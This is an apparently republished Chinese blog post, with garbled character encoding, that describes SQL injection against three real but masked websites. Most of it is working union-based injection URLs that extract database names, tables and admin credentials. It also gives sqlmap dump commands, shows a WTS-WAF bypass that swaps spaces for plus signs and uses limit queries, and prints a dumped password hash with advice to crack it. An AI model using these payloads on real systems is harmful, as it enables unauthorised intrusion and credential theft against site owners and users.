一鍵三連,sql注入
一次無(wú)意之間發(fā)現(xiàn)的sql注入,主要是因?yàn)橛幸粋€(gè)WTS-WAF,在此記錄一下
只是友好測(cè)試,并非有意為之。。。。
牛刀小試1
手注
判斷字段數(shù)
測(cè)試到order by 15的時(shí)候出現(xiàn)了報(bào)錯(cuò),那么就可以說(shuō)明字段數(shù)為14
http://www.xxx.com/xxx.php?id=22%20order%20by%2014
http://www.xxx.com/xxx.php?id=22%20order%20by%2015
直接注入
聯(lián)合注入直接上
判斷回顯位置
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14
很多都可以,我這里直接用第二個(gè)位置
sql版本
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,version(),3,4,5,6,7,8,9,10,11,12,13,14
當(dāng)前數(shù)據(jù)庫(kù)
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14
當(dāng)前數(shù)據(jù)庫(kù)中的表
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14%20from%20information_schema.tables%20where%20table_schema=database()
這里以表root為例:
爆字段
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27root%27
查內(nèi)容
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,group_concat(id,0x7e,username,0x7e,password,0x7e,status),3,4,5,6,7,8,9,10,11,12,13,14%20from%20root
root
8c7f5189069036869a4910ff15831772
都是基礎(chǔ)語(yǔ)法,連過(guò)濾都沒(méi)有
sqlmap一把梭
在判斷存在sql注入后,直接使用sqlmap一把梭
sqlmap -u "http://www.xxx.com/xxx.php?id=22" --batch --dbs
sqlmap -u "http://www.xxx.com/xxx.php?id=22" --batch -D svpy_com --tables
sqlmap -u "http://www.xxx.com/xxx.php?id=22" --batch -D svpy_com -T root --dump
牛刀小試2
步驟和上面差不多,直接測(cè)字段
測(cè)試回顯
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
數(shù)據(jù)庫(kù)信息
http://www.xxx.com.xxx.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,database(),18,19,20,21,22,23,24,25,26
手注,sqlmap一把梭都可以
繞過(guò)WTS-WAF的SQL注入
測(cè)試字段
http://www.xxx.com/xxx.php?id=22%20order%20by%2021
報(bào)錯(cuò)
直接告訴了sql語(yǔ)句,添加注釋符即可
并且在21的時(shí)候頁(yè)面和正常頁(yè)面差不多,但是到22的時(shí)候頁(yè)面就發(fā)生了變化
http://www.xxx.com/xxx.php?id=22%20order%20by%2022--%20-
然后判斷回顯位置
http://www.xxx.com/xxx.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-
被waf攔截
百度就可找到繞過(guò)方式
這里將空格替換為+即可
然后判斷回顯位置
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-
在第七個(gè)位置
當(dāng)前數(shù)據(jù)庫(kù)
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-
版本
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21--%20-
在獲取表的時(shí)候又被攔了
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.tables+where+table_schema=database()--%20-
看樣子應(yīng)該是group_concat()的原因,這里使用limit一個(gè)一個(gè)查看
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.tables+where+table_schema=database()+limit+0,1--%20-
bp抓包,給爆破一下
存在12個(gè)表
admin_authority,admin_login,admininfo,advanced,big_class,files,info,information,ip,message,sec_class,third_class
我在admin_login中并沒(méi)有發(fā)現(xiàn)密碼字段,于是選擇admininfo表,并且發(fā)現(xiàn)了passwd字段
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.columns+where+table_name=%27admininfo%27+limit+0,1--%20-
bp爆破
username字段
passwd字段
查詢username
ttp://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+admininfo+limit+0,1--%20-
查詢密碼
http://www.xxx.com/xxx.php?id=-1+union+select+1,2,3,4,5,6,passwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+admininfo+limit+0,1--%20-
找個(gè)md5平臺(tái)進(jìn)行解密即可
這個(gè)網(wǎng)站主要的困難就是需要繞WAF,通常想這類的WAF在百度搜一搜都會(huì)有相關(guān)的繞過(guò)方式的。文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-471857.html
如有錯(cuò)誤和侵權(quán),請(qǐng)聯(lián)系刪除?。?!文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-471857.html
到了這里,關(guān)于SQL注入三連實(shí)戰(zhàn)繞過(guò)WTS-WAF的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!